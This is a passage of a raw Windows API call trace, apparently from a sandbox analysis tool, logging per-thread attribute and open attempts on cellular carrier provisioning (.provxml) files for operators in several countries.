dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.517] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25b8) returned 1 [0180.517] RtlExitUserThread (Status=0x0) Thread: id = 2976 os_tid = 0xfd8 [0180.518] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.518] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.518] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\395__connections_cellular_mobitel (slovenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.518] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\395__Connections_Cellular_Mobitel (Slovenia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.518] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1190) returned 1 [0180.518] RtlExitUserThread (Status=0x0) Thread: id = 2977 os_tid = 0xfe0 [0180.519] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.520] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.520] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.520] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.520] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2308) returned 1 [0180.520] RtlExitUserThread (Status=0x0) Thread: id = 2978 os_tid = 0xe00 [0180.521] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.521] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.521] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.521] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551f0) returned 1 [0180.522] RtlExitUserThread (Status=0x0) Thread: id = 2979 os_tid = 0x111c [0180.522] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.523] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.523] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.523] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2710) returned 1 [0180.523] RtlExitUserThread (Status=0x0) Thread: id = 2980 os_tid = 0x1120 [0180.524] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.524] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.524] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.524] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3940) returned 1 [0180.525] RtlExitUserThread (Status=0x0) Thread: id = 2981 os_tid = 0x1124 [0180.525] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.526] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.526] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01b68) returned 1 [0180.526] RtlExitUserThread (Status=0x0) Thread: id = 2982 os_tid = 0x1128 [0180.527] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.527] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.527] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2460) returned 1 [0180.528] RtlExitUserThread (Status=0x0) Thread: id = 2983 os_tid = 0x112c [0180.529] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.529] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.529] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.529] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3c10) returned 1 [0180.529] RtlExitUserThread (Status=0x0) Thread: id = 2984 os_tid = 0x1130 [0180.530] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.530] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.531] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.531] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.531] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3d78) returned 1 [0180.531] RtlExitUserThread (Status=0x0) Thread: id = 2985 os_tid = 0x1134 [0180.532] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.532] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.532] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1da8) returned 1 [0180.532] RtlExitUserThread (Status=0x0) Thread: id = 2986 os_tid = 0x1138 [0180.533] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.534] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.534] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.534] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.534] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2868) returned 1 [0180.534] RtlExitUserThread (Status=0x0) Thread: id = 2987 os_tid = 0x113c [0180.535] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0180.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0180.536] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0180.536] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12e8) returned 1 [0180.536] RtlExitUserThread (Status=0x0) Thread: id = 2988 os_tid = 0x1140 [0180.537] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.537] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.537] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.538] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.538] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054488) returned 1 [0180.538] RtlExitUserThread (Status=0x0) Thread: id = 2989 os_tid = 0x1144 [0180.539] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.539] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.539] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.539] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02ea0) returned 1 [0180.539] RtlExitUserThread (Status=0x0) Thread: id = 2990 os_tid = 0x1148 [0180.540] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.540] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.541] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.541] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1440) returned 1 [0180.541] RtlExitUserThread (Status=0x0) Thread: id = 2991 os_tid = 0x114c [0180.542] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.542] SetFileAttributesW (lpFileName="C:\\Users\\All 